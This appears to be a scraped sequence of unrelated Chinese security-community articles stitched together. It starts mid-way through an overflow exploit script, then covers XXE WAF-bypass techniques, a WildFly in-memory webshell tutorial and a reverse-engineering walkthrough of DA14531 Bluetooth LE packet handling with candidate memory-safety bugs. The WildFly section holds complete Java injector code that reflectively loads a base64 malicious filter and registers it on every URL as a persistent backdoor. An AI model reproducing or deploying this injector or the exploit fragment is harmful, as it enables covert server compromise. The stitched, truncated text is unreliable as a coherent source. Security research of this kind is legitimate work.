DataSegSize = 0x4000
buf = "\x00"*(10000-len(payload))+payload+addr*(DataSegSize/4)
req = urllib2.Request(url, buf)
print urllib2.urlopen(req).read()
# 参考
<https://wooyun.js.org/drops/1466493268.html> | 社区文章 |
# XXE Bypass WAF
##### 译文声明
本文是翻译文章，文章原作者 wallarm，文章来源：lab.wallarm.com
原文地址：<https://lab.wallarm.com/xxe-that-can-bypass-waf-protection-98f679452ce0>
译文仅供参考，具体内容表达以及含义原文为准。
by Alex Drozdov, Wallarm Research
XXE或XML外部实体是2017 OWASP
Top10漏洞列表中的新问题。这是基于来自安全问题数据库的直接数据证据而引入的唯一的一个新问题。XML通常用于从电影到Docker容器的各种元数据，是REST、WSDL、SOAP、WEB-RPC等API协议的基础，而且，单个应用程序可能包含几个链接的XML解释器，用于处理来自不同应用程序层的数据。这种通过XML解释器在应用程序堆栈的不同位置注入外部实体的潜在能力使得XXE非常危险。
许多Web应用程序防火墙能够保护Web服务器免受XXE攻击。
Wallarm CEO，Ivan Novikov 在[article in Security
Boulevard](https://securityboulevard.com/2018/07/what-you-think-you-know-about-the-owasp-top-10-may-be-wrong/)上发表的一篇文章中写道:
> 实际上，XXE并不是一个BUG，而是任何XML解析器的一个显而易见的特点。是的，XML数据格式允许您在XML文档中包含任何外部文本文件的内容。
一段含有恶意代码的XML文档示例：
这里的`$attack;`指的是前面写的实体链接， 链接中指向的文件内容会在文档主体中替换掉它。
上述文件分为3个重要部分：
1.可选标头`<?xml?>`用于定义文档的基本特征，例如版本和编码。
2.XML文档模式的可选声明—`<!DOCTYPE>`，此声明可用于设置外部链接。
3.文档主体。它有一个层次结构，由`<! DOCTYPE>`定义根部的指定标签。
正确配置的XML解释器要么不接受带有XML链接的文档进行处理，要么验证链接及其来源，如果缺少验证，可以通过链接加载任意文件并集成到文档主体中，如上面的示例所示。
在本文中，我们将根据它们处理XML验证的方式来研究两种类型的WAF：
1.预处理的。使用自己的解析器对XML文档进行预处理的WAF。
2.基于正则表达式的。仅搜索数据中的特定子字符串或符合正则表达式的WAF。
不幸的是，这两种类别的WAF都可以被Bypass。
下面我们展示几种黑客能够绕过WAF并且可以进行XXE的方法。
## 方法1：文档中额外的空格符
由于XXE通常位于XML文档的开头，一个惰性匹配的WAF会忽略掉整个文档，并只会处理其开头部分。然而，XML格式允许在格式化标记属性时，使用任意数量的空格。因此攻击者可以在`<?xml?>`
或者 `<!DOCTYPE>`中插入额外的空格符来Bypass这类WAF。
## 方法2：无效的数据格式
为了绕过攻击者可能会发送特殊格式的XML文档，这样WAF就会认为他们是无效的。
### **链接到未知实体**
会进行预处理的WAF的设置通常会阻止从链接中读取文件的内容。这种策略通常是有意义的，否则WAF本身也可能成为攻击的目标。问题是外部资源链接不但可以存在于文档的第三部分(文档主体)，而且可以存在于声明中—
`<! DOCTYPE>`。这意味着没有读取文件内容的WAF将不会读取文档中存在的实体声明。反过来，指向未知实体的链接将阻止XML解析器导致错误。
Example：
幸运的是，防止这种绕过非常简单 – 只需命令WAF中的XML解析器在遇到未知实体后不要关闭。
## 方法3：罕见编码
除了前面提到的XML文档的三个部分之外，还有第四部分位于它们之上，它还控制文档的编码（例如`<?xml?>`） —
文档的第一个字节带有可选的BOM(字节顺序标记)。
More information:[ https://www.w3.org/TR/xml/#sec-guessing](https://www.w3.org/TR/xml/#sec-guessing)
XML文档不仅可以用UTF-8编码，还可以用UTF-16（两种变体 – BE和LE），UTF-32（四种变体 –
BE，LE，2143,3412）和EBCDIC编码。
在这种编码的帮助下，使用正则表达式很容易绕过WAF，因为在这种类型的WAF中，正则表达式通常仅配置为单字符集。
罕见编码也可用于绕过会预处理的WAF，因为它们并不总是能够处理上面列出的所有编码。例如，libxml2解析器仅支持一种类型的UTF-32 –
UTF-32BE，特别是没有BOM。
## 方法4：在一个文档中进行两种类型的编码
在上一节中，我们演示了文档的编码通常由其第一个字节指定。但是当`<?xml?>`标签包含与文档开头第一个字节不同的编码属性时会发生什么？在这种情况下，一些解析器会更改编码，以便文档的开头具有同一字符集，其余部分采用另一种编码。也就是说，不同的解析器可以在不同的时间切换编码。Java解析器（javax.xml.parsers）在`<?xml?>`结束后严格更改字符集，而libxml2解析器会在”encoding”属性的值执行之后或者更迟—
在`<?xml?>`处理完成前后切换编码。
会预处理的WAF只有在根本不处理这些文档时，才能可靠地保护这些文档不受攻击。我们还必须要记住有一些同义编码，例如UTF-32BE 和
UCS-4BE。此外，有些编码虽然不同，但从编码文档的初始部分`<?xml?>`的角度来看是兼容的。例如，一个看似是UTF-8编码的文档可能包含字符串`<?xml
version="1.0" encoding=”windows-1251”?>`。
下面是一些例子。为了简洁起见，我们不会将XXE放在文档中。
libxml2解析器将文档视为有效的，然而javax.xml.parsers中的JAVA引擎认为它是无效的。
反之亦然，javax.xml.parser中的JAVA引擎认为该文档是有效的，但在libxml2解析器中是它无效的：
libxml2的文档，编码由utf-16le改为位于标签中间的utf-16be：
libxml2的文档，编码从utf-8改为ebcdic-us：
## 后记
如你所见，有很多Bypass方法来绕过这些没有受到较好保护的文档。防止XXE的最佳方法是配置我们的应用程序本身以安全的方式初始化XML解析器。主要有两种不同的选项应该禁用：
* 外部实体
* 外部DTD模式
我们将继续研究XXE WAF bypasses，并期望尽快发布。敬请关注。 | 社区文章 |
# Wildfly内存马
### 1、环境搭建
WildFly，原名 JBoss AS (JBoss Application Server) 或者 JBoss，是一套应用程序服务器，属于开源的企业级
Java 中间件软件，用于实现基于 SOA 架构的 Web 应用和服务。 WildFly 包含一组可独立运行的软件。
本文主要分析该中间的Filter内存马，以及如何编写该中间的Filter内存马
wildfly 26.1.3
创建HelloFilter
### 2、Filter分析
在Servlet打下断点，查看调用栈
在调用栈中寻找第一次doFilter()出现的地方，`io.undertow.servlet.handlers.FilterHandler`中第一次调用了`doFilter`，关注fiterChain是如何生成的。
new FilterHandler.FilterChainImpl(exchange, filters, this.next, this.allowNonStandardWrappers);
通过该函数生成fiterChain，其中传入的关键参数是`filters`，关注`filters`
`filters`通过`this.filters.get(dispatcher)`生成的。关注`this.filters`是如何生成的。
`this.filters`是通过构造方法传入一个形参为filters的参数生成的，在此打个断点。看调用栈，关注哪里调用了该构造方法。
`io.undertow.servlet.handlers.ServletPathMatches::createHandler`这里实例化了个FilterHandler。在看到这里`形参filters`的位置传入的是`noExtension`，`noExtension`来自于
`createHandler`函数的形参`List<ManagedFilter>>
noExtension`，关注哪里调用了`createHandler()`
在`io.undertow.servlet.handlers.ServletPathMatches::setupServletChains`中调用了`creatHandler`，分析`setupServletChains`
在`setupServletChains`中的`addToListMap(noExtension,
filterMapping.getDispatcher(), filter);`，会生成ListMap。List中的元素形入
<`filterMapping.getDispatcher()`，`filter`>，关注`filterMapping`和`filter`是怎么生成的。
往上跟会看到如下代码。分别分析`filterMapping` 和 `filter`是如何生成的。
* * *
#### 1、分析`filterMapping`
先分析`filterMapping`，可以看出`filterMapping`其实是来自`deploymentInfo`，
继续往上看的话，`deploymentInfo`是通过`this.deployment.getDeploymentInfo()`获取的。可以理解为`filterMapping`来自于`deploymentInfo`，而`deploymentInfo`来自于`deployment`。
回过头来跟进看一下`deploymentInfo.getFilterMappings()`。`getFilterMappings`该函数从`deploymentInfo`中获取其`filterUrlMappings(ArrayList类型)`其元素类型为`FilterMapingInfo`。
`FilterMapingInfo`如下。
`deploymentInfo`中有`insertFilterUrlMapping`方法，用于往`filterUrlMappings`中添加`FilterMappingInfo`类型的元素。
#### 2、分析filter
`filter`通过`filters.getManagedFilter(filterMapping.getFilterName());`获取的。
而这里的`filters`来自于`this.deployment.getFilters()`,这里需注意一个点，`this.deployment.getFilters()`返回是一个`ManagedFilters`类型的对象。
因此`filters.getManagedFilter(filterMapping.getFilterName())`
实际可以理解为`this.deployment.getFilters().getManagedFilter(filterMapping.getFilterName())`
跟进`getManagedFilter`方法,`io.undertow.servlet.core.ManagedFilters::getManagedFilter`
该方法从`managedFilterMap`中获取一个`ManagedFilter`类型的对象
而在`ManagedFilters`中还有另一个方法`addFilter`，往`managedFilterMap`中添加数据，其参数为`FilterInfo`类型的变量。
* * *
综上所述，不管是`filter`还是`filterMapping`，都得从`deployment`出发，关注`deployment`是如何生成的
`io.undertow.servlet.handlers.ServletPathMatches`的构造方法中传入`deployment`，打下断点，重启服务器。观察调用栈
跟到`io.undertow.servlet.core.DeploymentImpl`
`DeploymentImpl`的构造方法中调用了`new
ServletPathMatches`，同时构造方法还是传入参数`deploymentInfo`。关注调用栈。
这里实例化了一个`DeploymentImpl`对象，传入`deploymentInfo`,`deploymentInfo`来自于`this.originalDeployment.clone()`
跟进`clone()`，这里通过`addFilter()`，传入`FilterInfo`类型的数据，那么可以理解为获取到`DeploymentInfo`后，可以通过addFilter()，添加`FilterInfo`数据。
跟进`FilterInfo`，可以通过`new FilterInfo(FilterName,evilFilter)`的形式实例化一个`FilterInfo`
### 3、编写内存马
思路
1、获取到deployment
2、获取到deploymentInfo
3、实例化一个新的FilterInfo,即FilterInfo filterinfo = new FilterInfo(filternme,filter)
4、deploymentinfo.addFilter(filterinfo)
5、deploymentinfo.insertFilterUrlMapping(0,filterName,url, DispatcherType.REQUEST)
6、deployment.getFilters().addFilter(filterinfo)
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import io.undertow.servlet.api.Deployment;
import io.undertow.servlet.api.DeploymentInfo;
import io.undertow.servlet.api.FilterInfo;
import io.undertow.servlet.handlers.ServletRequestContext;
import io.undertow.servlet.spec.HttpServletResponseImpl;
import io.undertow.servlet.spec.ServletContextImpl;
import sun.misc.BASE64Decoder;
import javax.servlet.DispatcherType;
import java.lang.reflect.Array;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
public class WildflyFilterLoader extends AbstractTranslet {
private static ServletContextImpl servletContext;
private static HttpServletResponseImpl response;
private static DeploymentInfo deploymentInfo;
private static Deployment deployment;
private static String filterName = "HFilter";
private static String filterClassName = "com.server.HFilter";
private static String url = "/*";
private static synchronized void LoadFilter() throws Exception {
try{
Thread.currentThread().getContextClassLoader().loadClass(filterClassName).newInstance();
}catch (Exception e){
Method a = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE);
a.setAccessible(true);
byte[] b = (new BASE64Decoder()).decodeBuffer("恶意Filter.class | base64");
a.invoke(Thread.currentThread().getContextClassLoader(), b, 0, b.length);
}
}
//获取上下文
public static synchronized void GetWebContent() throws Exception {
try{
try{
Thread thread = Thread.currentThread();
Object threadLocals = GetField(thread, "threadLocals");
Object table = GetField(threadLocals, "table");
for(int i = 0; i<= Array.getLength(table)-1; i++){
try{
Object object = Array.get(table, i);
Object value = GetField(object, "value");
if (value.getClass().getName().contains("ServletRequestContext")){
ServletRequestContext servletRequestContext = (ServletRequestContext) value;
response = (HttpServletResponseImpl) GetField(servletRequestContext, "originalResponse");
servletContext = (ServletContextImpl) GetField(servletRequestContext, "currentServletContext");
deploymentInfo = (DeploymentInfo) GetField(servletContext, "deploymentInfo");
deployment = (Deployment) GetField(servletContext, "deployment");
break;
}
}catch (Exception e){}
}
}catch (Exception e){
}
}catch (Exception e){
e.printStackTrace();
}
}
private static synchronized void InjectFilter() throws Exception {
try{
if(deployment != null && deploymentInfo != null){
Class characterEncodingHFilter = Thread.currentThread().getContextClassLoader().loadClass(filterClassName);
FilterInfo filterInfo = new FilterInfo(filterName,characterEncodingHFilter);
deploymentInfo.addFilter(filterInfo);
deploymentInfo.insertFilterUrlMapping(0,filterName,url, DispatcherType.REQUEST);
deployment.getFilters().addFilter(filterInfo);
response.addHeader("Status","Work");
}
}catch (Exception e){
e.printStackTrace();
}
}
static {
new WildflyFilterLoader();
}
public WildflyFilterLoader(){
try{
LoadFilter();
GetWebContent();
InjectFilter();
}catch (Exception e){
}
}
private static synchronized Object GetField(Object o, String k) throws Exception{
Field f;
try {
f = o.getClass().getDeclaredField(k);
} catch (NoSuchFieldException e) {
try{
f = o.getClass().getSuperclass().getDeclaredField(k);
}catch (Exception e1){
f = o.getClass().getSuperclass().getSuperclass().getDeclaredField(k);
}
}
f.setAccessible(true);
return f.get(o);
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
} | 社区文章 |
## 前言
本文介绍定位和分析`DA14531`收包流程的方法，并提供简单的BLE协议漏洞挖掘思路。
## 定位收包函数
通过查看`DA14531`的芯片手册，我们知道这个芯片使用的CPU是 `Arm
Cortex-M0+`，我们知道`M0`的异常向量表位于0地址处，所以我们去看看`DA14531`手册的`memory map`
一节中是怎么定义0这个地址的。
可以看到地址空间 `[0, 0x4000000]` 的描述如下
Remapped address space based on SYS_CTRL_REG[REMAP_ADR0].
看意思感觉是 **0地址** 这块区域会根据`SYS_CTRL_REG[REMAP_ADR0]`的值被重新映射。
在手册中搜索`SYS_CTRL_REG`，可以找到`REMAP_ADR0`的定义
可以看到`REMAP_ADR0`的取值不同会把不同的区域重映射到0地址处，这里以值为 `0x2` 为例，此时会把`RAM`
(`SysRAM1`)这块区域映射到 **0地址** ，查看memory map可以知道这款区域的详细信息
SysRAM1 (16 kB): 0x07FC0000 to 0x07FC3FFF
所以`0x07FC0000`开头就存放着异常向量表，
实际上开发者使用`DA14531`芯片的`SDK`编译出来的软件就是烧写在这个区域，自己编译一个软件，然后加载到IDA既可拿到异常向量表的信息
找到异常向量表后，可以去翻翻手册，看看`DA14531`使用的中断的类型和描述
可以看的 `IRQ #1` 的 `BLE_GEN_IRQn`中断感觉和蓝牙收发包相关，其中`LE_RX_IRQn`中断在每个数据包接收完毕后触发。
然后我们去异常向量表中找到 `IRQ #1` 的处理函数，由于M0芯片的内置异常为16个，所以 `IRQ #1` 的处理函数为`rwble_isr`。
## 收包流程分析
`rwble_isr`函数入口会对`40000xxx`的地址进行访问
void rwble_isr()
{
if ( unk_40000200 << 31 )
{
unk_40000200 |= 2u;
}
if ( (unk_40000200 & 0x400000) != 0 )
{
unk_40000200 |= 0x400000u;
可以在`SDK`中搜索这些地址，拿到地址的信息，比如`0x40000200`地址处是蓝牙的控制寄存器
#define BLE_CNTL2_REG (0x40000200) /* BLE Control Register 2 */
逆向了一小会后发现`rwble_isr`函数的源码在`SDK`中，可以直接查看，和收包相关的代码如下
__BLEIRQ void rwble_isr(void)
{
// Loop until no more interrupts have to be handled
while (1)
{
// Check BLE interrupt status and call the appropriate handlers
uint32_t irq_stat = ble_intstat_get();
if (irq_stat == 0)
break;
// Rx interrupt
if (irq_stat & BLE_RXINTSTAT_BIT)
{
DBG_SWDIAG(BLE_ISR, RXINT, 1);
ble_intack_clear(BLE_RXINTSTAT_BIT);
dlg_rx_isr();
DBG_SWDIAG(BLE_ISR, RXINT, 0);
}
函数首先调用`ble_intstat_get`
读取中断状态，然后根据`irq_stat`中的二进制位判断中断的类型（感觉和Linux的共享`IRQ`机制类似），如果有`BLE_RXINTSTAT_BIT`表示是收包中断，会调用
`dlg_rx_isr` 处理收包事件。
`dlg_rx_isr`函数实际调用的是`lld_evt_rx_isr`，`lld_evt_rx_isr` 会进入 `lld_evt_rx` 函数
void __fastcall lld_evt_rx(lld_evt_tag *elt)
{
v1 = elt + 1;
v2 = *(82 * LOWORD(elt[1].anchor_point.basetime_cnt) + *off_7F09820 + 0x114) >> 12;// ble_cntl_get
add_evt_deferred_tag(elt, 0, v2);
HIBYTE(v1->tx_prog.maxcnt) += v2;
ke_event_set(5u);
}
主要就是触发 `#5` 号事件去完成具体的收包过程，该事件的回调函数在lld_evt_init中注册
int __fastcall lld_evt_init(int a1, int a2, int a3, int a4)
{
...................
...................
return ke_event_callback_set(5u, lld_evt_deffered_elt_handler);
}
因此会进入`lld_evt_deffered_elt_handler`进行下一步数据包的处理，其主要代码如下
int lld_evt_deffered_elt_handler(int a1, int a2, int a3, int a4)
{
ke_event_clear(5u);
while ( 1 )
{
// 取出packet的结构
pkg_info = get_recv_pkg_info(&v11, &rx_cnt);
// 0x200 的回调函数 0x7F0581B, 0x7F0CB37
msg_data = ke_msg_alloc(0x200, dest_id, 2u, 6u);
// 填充msg_data里面的数据包相关信息
lld_data_rx_check((pkg_info_1 + 36), msg_data, rx_cnt);
// 消息回调函数处理数据
ke_msg_send(msg_data);
}
return pkg_info;
}
首先清除`#5`号事件，然后从全局链表中取出一个包的信息，然后发送一个 `msg_id` 为 `0x200` 消息，消息的`param`部分由
`lld_data_rx_check` 填充，`param`的结构体定义如下
struct lld_data_ind
{
/// Handle of the first RX buffer
uint8_t rx_hdl;
/// Number of received buffers
uint8_t rx_cnt;
/// Number of transmitted data buffers
uint8_t tx_cnt;
/// Number of transmitted data control buffers
uint8_t tx_cnt_cntl;
/// Event counter
uint16_t evt_cnt;
};
可以看到 `rx_hdl` 和 `rx_cnt` 用于表示收到的数据包的信息，`msg_id`为`0x200`的处理函数有两个
0x7F0581B llc_0x200_id_handler
0x7F0CB37 llm_0x200_id_handler
### llm_0x200_id_handler
该函数用于处理 `ADVERTISING CHANNEL PDU`， 经过简化的关键代码如下
int __fastcall llm_0x200_id_handler(int msg_id_1, lld_data_ind *param, int dest_id, int src_id)
{
rx_cnt = param->rx_cnt;
rx_hdl = param->rx_hdl;
while ( 1 )
{
// 根据 rx_hdl 找到对应数据包描述符
rx_desc = (v26[4] + 10 * rx_hdl);
// 根据包描述符得到 实际数据包在内存的地址
pkg_data = co_buf_rx_buffer_get(rx_desc);
idx = 0;
pkg_data_1 = pkg_data;
// 从全局变量里面取 6 个字节的保存到 device_addr
do
{
device_addr[idx] = *(*ble_base_2[0] + idx + 0x115);
idx = (idx + 1);
}
while ( idx < 3 );
// 搜索和 device_addr 匹配的数据包
while ( rx_cnt && memcmp(device_addr, pkg_data_1, 6) )
{
co_buf_rx_free(rx_hdl);
rx_hdl = (rx_hdl + 1) & 7;
rx_desc = (v26[4] + 10 * rx_hdl);
rx_cnt = (rx_cnt - 1);
pkg_data_1 = co_buf_rx_buffer_get(rx_desc);
}
// 根据数据包的类型进行对应的处理
switch ( rx_desc->rxheader & 0xF ) // llm_util_rxtype_getf
{
case 0:
case 1:
case 2:
case 4:
case 6:
llm_le_adv_report_ind(rx_desc);
break;
case 3:
llm_le_scan_report_ind(rx_desc);
break;
case 5:
llm_con_req_ind(rx_desc);
break;
default:
break;
}
}
代码逻辑
1. 首先从param里面取出rx_cnt和rx_hdl，然后根据rx_hdl得到对应数据包描述符rx_desc
2. 然后会去全局变量里面拷贝6个字节保存到device_addr，然后会从rx_hdl开始遍历rx_cnt个数据包，直到找到包头6个字节和device_addr相同的数据包为止。
3. 然后通过rxheader中的数据包类型来进行调用相应的函数进行进一步的处理
rx_desc的结构定义如下
struct co_buf_rx_desc
{
/// rx pointer
uint16_t rxptr;
/// status
uint16_t rxstatus;
/// rx header
uint16_t rxheader;
/// rx chass
uint16_t rxchass;
/// rx data pointer
uint16_t rxdataptr;
};
其中`rxdataptr`指向存放蓝牙数据的位置，需要通过`co_buf_rx_buffer_get`将其转换为实际的内存地址
uint8_t *__fastcall co_buf_rx_buffer_get(struct co_buf_rx_desc *rx_desc)
{
return (rx_desc->rxdataptr + *ble_base_1);
}
rxheader中包含了该数据包的类型、长度等信息，在SDK中搜索rxheader的引用，可以找到如下函数来推测rxheader的含义
#define BLE_RXADVLEN_MASK ((uint16_t)0x0000FF00)
#define BLE_RXADVLEN_LSB 8
#define BLE_RXTYPE_MASK ((uint16_t)0x0000000F)
#define BLE_RXTYPE_LSB 0
// 返回 rxdesc 数据包的长度
uint8_t llm_util_rxlen_getf(struct co_buf_rx_desc *rxdesc)
{
uint16_t localVal = rxdesc->rxheader;
return ((localVal & BLE_RXADVLEN_MASK) >> BLE_RXADVLEN_LSB);
}
// 返回数据包的类型
uint16_t llm_util_rxtype_getf(struct co_buf_rx_desc *rxdesc)
{
uint16_t localVal = rxdesc->rxheader;
return ((localVal & BLE_RXTYPE_MASK) >> BLE_RXTYPE_LSB);
}
通过分析这些函数的含义和对rxheader的使用可以知道rxheader中一些字段的含义
高字节表示数据包的长度
低4位表示数据包的类型
PS:后面分析其他的部分时，反推得到`rxheader`其实就是 ADV PDU Header， 其格式如下
通过分析`llm_con_req_ind`和 BLE 5.0 的协议规范，可以知道 `pkg_data` 指向的是 **Uncoded PHY 空口包的
PDU 部分**.
翻看了`2.3 ADVERTISING CHANNEL PDU`中的所有PDU类型，除了采用Common Extended Advertising
Payload
Format格式的PDU外，其他的`PDU`的头6个字节都是`AdvA`，表示发送广播的设备地址。因此该函数开头就是在根据数据包的`AdvA`来查找到对应设备发送的数据包。
### llc_0x200_id_handler
从上一节的分析我们知道`llm_0x200_id_handler`用于处理`ADVERTISING CHANNEL PDU`，
根据协议的规范，`llc_0x200_id_handler`函数应该就是用于处理DATA CHANNEL PDU报文，协议规范定义如下
可以看的PDU由2字节的`header`和`payload`组成，其中`header`的结构定义如下：
下面分析和数据包相关的代码
int llc_0x200_id_handler(int msg_id, lld_data_ind *data, unsigned int dest_id, int src_id)
{
rx_cnt = data->rx_cnt; // 收到数据包的数目
first_rx_handle = data->rx_hdl; // Handle of the first RX buffer
task_index = dest_id >> 8;
llid = rx_desc->rxheader & 3;
// LL Data PDU
if ( llid == LLID_CONTINUE || llid == LLID_START )
{
llc_data_rcv(task_index, first_rx_handle);
}
else
{
// LL Control PDU
if ( llid != LLID_CNTL )
{
goto LABEL_58;
}
llc_cntl_rcv(task_index, first_rx_handle);
}
主要是根据`rxheader`的`LLID`字段来判断数据包的类型，如果是`LL Data
PDU`就调用`llc_data_rcv`处理，如果是控制`PDU`就使用`llc_cntl_rcv`处理。
#### llc_data_rcv
函数主要代码如下
void llc_data_rcv(uint16_t conhdl, uint8_t hdl)
{
idx = conhdl;
rxdesc = (off_7F047E4[0][4] + 10 * hdl);
msg_data = ke_msg_alloc(0x100u, (conhdl << 8) + 1, (conhdl << 8) + 1, 8u);
msg_data->task_index = idx;
llc_env_tag_tbl = off_7F047E8;
pkg_length = HIBYTE(rxdesc->rxheader);
msg_data->pkg_length = pkg_length;
if ( (llc_env_tag_tbl[idx]->enc_state & 2) != 0 )
{
msg_data->pkg_length = pkg_length - 4;
}
msg_data->llid = rxdesc->rxheader & 3;
msg_data->hdl = hdl;
ke_msg_send(msg_data);
}
1. 首先获取到数据包的描述符`rxdesc`
2. 申请一个消息id为`0x100`的消息，并将数据包的长度、hdl等信息填入消息数据中
3. 最后将消息发送出去
该消息的处理函数为
`sub_7F05D20`（`0x07F05D20`），主要就是修改消息的`id`（0x806）和`dest_id`，然后使用`hci_send_2_host`让消息处理函数去进一步处理
int __fastcall sub_7F05D20(int a1, llc_0x100_struct *msg_data, unsigned int a3)
{
msg_hdr = CONTAINING_RECORD(msg_data, ke_msg, param);
msg_hdr->id = dw_0x806;
msg_hdr->dest_id = v4;
hci_send_2_host(msg_data); // 0x7F13D97,hci_acl_data_rx_handler
`0x806`的消息处理函数为`hci_acl_data_rx_handler`，该函数处理的数据就是`l2cap`的协议数据了。
#### llc_cntl_rcv
该函数用于处理LL Control PDU，其BLE规范定义如下
主要就是一个字节的opcode和ctrdata，函数主要代码如下
int __fastcall llc_cntl_rcv(int idx, int rx_hdl)
{
rxdesc = (off_7F0478C[4] + 10 * rx_hdl);
pkg_length = HIBYTE(rxdesc->rxheader);
// 取出 opcode
opcode = *co_buf_rx_buffer_get(rxdesc);
// 根据opcode找到回调函数进行处理
tbl_index = 8 * opcode;
v9 = llc_handler_tbl;
msg_data = ke_msg_alloc(*(v7 + 4), dest_id, dest_id, *(v7 + 7));
pkg = co_buf_rx_buffer_get(rxdesc);
(*(v9 + tbl_index))(pkg, pkg_length, msg_data);
v8 = msg_data;
ke_msg_send(v8);
主要就是获取数据包的opcode，然后根据`opcode`找到对应的函数对数据包进行处理
回调函数表的结构如下
### L2CAP协议报文处理
通过上一节的分析，可以知道`llc_data_rcv`在对数据进行简单的处理后，就通过`hci_send_2_host`函数让`hci_acl_data_rx_handler`去处理`L2CAP`协议层的报文。
函数的关键代码
int __fastcall hci_acl_data_rx_handler(int a1, llc_0x100_struct *msg_data, unsigned int dest_id)
{
// 获取数据包地址
data = co_buf_rx_buffer_get((*(off_7F14008 + 16) + 10 * msg_data->hdl));
// 取出 l2cap 的length
data_length = (data[1] << 8) | *data;
// 根据 l2cap 的length分配内存
l2cc_pdu_recv = ke_msg_alloc(0xa01, ::dest_id, dest_id, data_length + 0x4C);
l2cc_pdu_recv->rem_len = data_length + 4;
l2cc_pdu_data = &l2cc_pdu_recv_1->pdu;
p_rem_len = &l2cc_pdu_recv_1->rem_len;
p_offset = &l2cc_pdu_recv_1->offset;
pkg_length_from_hdr = msg_data->pkg_length;
offset = l2cc_pdu_recv_1->offset;
v18 = *p_rem_len;
// 拷贝L2CAP的数据到新分配的l2cc_pdu_recv
if ( offset + pkg_length_from_hdr > v18 )
{
qmemcpy(&l2cc_pdu_data[offset], data_1, v18 - offset);
*p_offset = *p_rem_len;
task_l2cc_env->p_recv_ind->status = 52;
}
else
{
qmemcpy(&l2cc_pdu_data[offset], data_1, pkg_length_from_hdr);
*p_offset += pkg_length_from_hdr;
}
// 把p_buffer里面的pdu解析到 pdu 里面
task_l2cc_env->p_recv_ind->status = l2cc_pdu_unpack(
&task_l2cc_env->p_recv_ind->pdu,
&task_l2cc_env->p_recv_ind->offset,
&task_l2cc_env->p_recv_ind->rem_len,
p_buffer,
datac,
BYTE1(dest_id),
2u);
上述代码流程如下
1. 首先根据 msg_data->hdl拿到L2CAP数据的起始地址，保存到data变量。
2. 然后解析L2CAP的length字段，即data的头两个字节，结果保存在data_length。
3. 根据data_length分配消息数据l2cc_pdu_recv，然后会把data的数据拷贝到l2cc_pdu_recv->pdu。
4. 调用l2cc_pdu_unpack解析L2CAP数据中的`information payload`，并将解析后的结果保存到l2cc_pdu_recv->pdu。
5. 最后会调用ke_msg_send将l2cc_pdu_recv消息发送出去，让对应消息处理函数进行下面的处理。
L2CAP的报文格式如下：
在逆向过程中对着协议规范可以简化逆向的流程。
`0xa01`的消息处理函数为`sub_7F135F6` 和`l2cc_pdu_recv_ind_handler`，其中`sub_7F135F6`
位于`gattc_default_state` 中，表示这个函数是 `gattc` 这个任务的其中一个处理函数。
根据BLE的协议栈结构，我们可以知道`sub_7F135F6`应该是用于处理 `ATT` 报文。
## 漏洞挖掘思路与示例
理清楚数据流动后，就可以开展漏洞挖掘了，漏洞挖掘手段主要就是源码审计和Fuzz测试。
如果是静态源码审计就是跟踪外部的数据流，分析程序在处理数据时是否存在问题，比如长度没做校验等，关注的问题主要有数据中长度字段、偏移字段的校验，内存拷贝是否存在越界、资源的分配、使用于释放是否配对等。
如果是要做Fuzz测试的话，就需要识别出处理数据的函数，对其进行适配，比如使用Unicorn将其模拟执行起来，然后使用AFL对其进行Fuzzing.或者可以采用一些蓝牙的发包器，自己写Fuzzer或者采用Peach等工具进行黑盒的Fuzzing.
### llm_con_req_ind越界读漏洞
前面我们分析到llm_0x200_id_handler函数主要用于处理 `ADVERTISING CHANNEL
PDU`，函数首先根据数据包的`AdvA`找到需要处理的数据包，然后如果数据包类型是`LL_CONNECT_REQ`就会进入`llm_con_req_ind`进行处理
switch ( rx_desc->rxheader & 0xF )
{
case LL_CONNECT_REQ:
llm_con_req_ind(rx_desc);
llm_con_req_ind函数里面没有检查数据包的长度，直接将其当作一个llm_pdu_con_req_rx结构体进行访问，比如：
ar = data->latency;
if ( ar > 500
|| (v3 * 5 * (ar + 1) + 1) >> 1 > 10 * var
|| !data->chm.map[0] && !data->chm.map[1] && !data->chm.map[2] && !data->chm.map[3] && !(data->chm.map[4] << 27) )
{
return;
如果数据包实际长度小于结构体的大小就会导致越界读。
### l2cc_pdu_unpack堆溢出漏洞
在`hci_acl_data_rx_handler`函数里面会调用`l2cc_pdu_unpack`来对`L2CAP`报文的`infomation_payload`部分进行解析
task_l2cc_env->p_recv_ind->status = l2cc_pdu_unpack(
&task_l2cc_env->p_recv_ind->pdu,
&task_l2cc_env->p_recv_ind->offset,
&task_l2cc_env->p_recv_ind->rem_len,
p_buffer,
datac,
BYTE1(dest_id),
2u);
该函数实际调用l2cc_pdu_unpack_func
uint8_t __fastcall l2cc_pdu_unpack_func(struct l2cc_pdu *p_pdu, uint16_t *p_offset, uint16_t *p_rem_len, const uint8_t *p_buffer, uint16_t pkt_length, uint8_t conidx, uint8_t llid)
{
opcode = 0;
v31 = 0;
p_pdu->payld_len = (p_buffer[1] << 8) | *p_buffer;// 设置p_pdu->payld_len为 l2cap hdr里面的长度
cid = (p_buffer[3] << 8) | p_buffer[2];
use_size = 4;
infomation_payload = p_buffer + 4;
switch ( cid )
{
case 4:
if ( opcode == 82 )
{
opcode = 20;
}
else if ( opcode == 210 )
{
opcode = 21;
}
pkt_format = off_7F19B5C + 160; // l2cc_attribute_pkt_format_0
max_opcode = 31;
break;
.......
.......
}
函数首先根据数据中的cid字段来获取pkt_format，比如当 cid
为4时，pkt_format为l2cc_attribute_pkt_format，`max_opcode`为`31`，然后函数会根据`pkt_format`和`opcode`的值来决定解析`infomation_payload`的方式.
v30 = *(pkt_format + opcode);
dst = &p_pdu->data.reject.pkt_id;
for ( i = v30; ; i = ++v30 )
{
v22 = *i;
if ( !v22 || v8 || *p_rem_len < use_size )
{
break;
}
if ( v22 == 75 )
{
qmemcpy(dst, infomation_payload, 0x10u);
use_size = (use_size + 16);
infomation_payload += 16;
dst += 16;
continue;
}
if ( v22 != 97 )
{
goto LABEL_64;
}
